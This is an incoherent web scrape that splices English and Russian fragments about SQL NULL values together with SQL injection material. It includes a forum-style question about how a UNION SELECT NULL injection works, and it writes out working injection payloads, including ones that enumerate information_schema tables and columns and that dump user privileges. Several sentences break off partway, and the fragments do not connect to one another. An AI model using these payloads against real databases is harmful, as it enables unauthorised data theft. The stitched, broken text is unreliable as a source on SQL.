Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
qndbq7bbxilyCzFA') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716e646271,IFNULL(CAST(grantee AS CHAR),0x20),0x716a716771),NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#qjqgq.
SELECT concat_ws('-', Firstname, Middlename, Surname) AS example_column FROM
Note: A NULL value is different from a zero value or a field that contains spaces. A field with a NULL value is one that has been left blank during record creation!
99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_ schema.columns - since where clause cannot be used
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select, is obvious. null, is just a place holder that is used because a union statement requires that the number of fields match the 1st query that it’s appending to.
Если значение expression равно NULL, IS NOT NULL возвращает FALSE; в противном случае возвращается
Решение: select * from users where id='12'. а ссылка будет выглядеть вот так
Тем не менее, NULL, как NULL-значение, часто используется в SQL. Предположим, появился покупатель, которому еще не назначен продавец.